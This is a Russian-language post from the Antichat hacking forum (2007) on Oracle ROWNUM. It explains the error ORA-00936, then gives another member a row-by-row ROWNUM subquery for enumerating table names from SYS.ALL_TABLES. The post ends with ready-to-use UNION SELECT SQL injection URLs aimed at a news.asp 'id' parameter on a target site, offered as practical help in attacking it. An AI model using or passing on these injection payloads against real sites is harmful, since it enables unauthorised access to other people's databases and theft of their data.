Тема: rownum в Oracle
Показать сообщение отдельно

  #5  
Старый 31.08.2007, 10:42
groundhog
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
Провел на форуме:
2238549

Репутация: 1318


Отправить сообщение для groundhog с помощью ICQ
По умолчанию

[ cash ], я так и знал что ты это скажешь. Какой нахрен в файлах? Ты описание ошибки видел? ORA-00936... Это именно от оракла пришла ошибка... Прежде чем что-то говорить про OLE DB посмотри что говорит Knowledge Xpert for PL/SQL Development:

Цитата:
ORA-00936 missing expression

Cause: A required part of a clause or expression has been omitted. For example, a SELECT statement may have been entered without a list of columns or expressions or with an incomplete expression. This message is also issued in cases where a reserved word is misused, as in SELECT TABLE.

Action: Check the statement syntax and specify the missing component
Переведу:

Цитата:
ORA-00936 отсутствует выражение

Причина: Обязательная часть условия или выражения была пропущена. Например, оператор SELECT мог быть введён без списка колонок и выражений, или же с незаконченным списком. Это сообщение так же может быть вызвано в случае неверного использования зарезервированного слова, как например в выражении SELECT TABLE.

Исправление: проверьте синтаксис выражения и добавьте недостающие конструкции.
А проблема скорее всего связана со спецификой запроса... Он формируется динамически, то есть в зависимости от условия к нему что-то приписывается... И очередная приписка приводит к некорректному синтаксису запроса.

И насчёт подбора столбцов... Факов до фига по Oracle, везде используют ROWNUM, но никто не описал такую простую конструкцию:

Цитата:
SELECT T.TN
FROM (SELECT TABLE_NAME TN, ROWNUM R FROM SYS.ALL_TABLES) T
WHERE R BETWEEN X AND X
Задавая X - можно спокойно перемещаться по списку записей, пускай это несколько усложнит запрос, зато будет однозначность - возвращаться всегда будет одна запись. То есть:

Цитата:
SELECT T.TN
FROM (SELECT TABLE_NAME TN, ROWNUM R FROM SYS.ALL_TABLES) T
WHERE R BETWEEN 1 AND 1
Вернёт первую запись

Цитата:
SELECT T.TN
FROM (SELECT TABLE_NAME TN, ROWNUM R FROM SYS.ALL_TABLES) T
WHERE R BETWEEN 2 AND 2
Вернёт вторую запись и т.д.

[Raz0r], то есть, в твоём случае надо попробовать что-то типа такого:

Цитата:
http://site.com/news.asp?id=-1+UNION+SELECT+NULL,TO_CHAR(T.TN),NULL,NULL,NULL,N ULL,NULL,NULL,NULL+FROM+(SELECT+TABLE_NAME+TN,ROWN UM+R+FROM+SYS.ALL_TABLES)+T+WHERE+R+BETWEEN+1+AND+ 1
Цитата:
http://site.com/news.asp?id=-1+UNION+SELECT+NULL,TO_CHAR(T.TN),NULL,NULL,NULL,N ULL,NULL,NULL,NULL+FROM+(SELECT+TABLE_NAME+TN,ROWN UM+R+FROM+SYS.ALL_TABLES)+T+WHERE+R+BETWEEN+2+AND+ 2
Цитата:
http://site.com/news.asp?id=-1+UNION+SELECT+NULL,TO_CHAR(T.TN),NULL,NULL,NULL,N ULL,NULL,NULL,NULL+FROM+(SELECT+TABLE_NAME+TN,ROWN UM+R+FROM+SYS.ALL_TABLES)+T+WHERE+R+BETWEEN+3+AND+ 3
и т.д.
 
Ответить с цитированием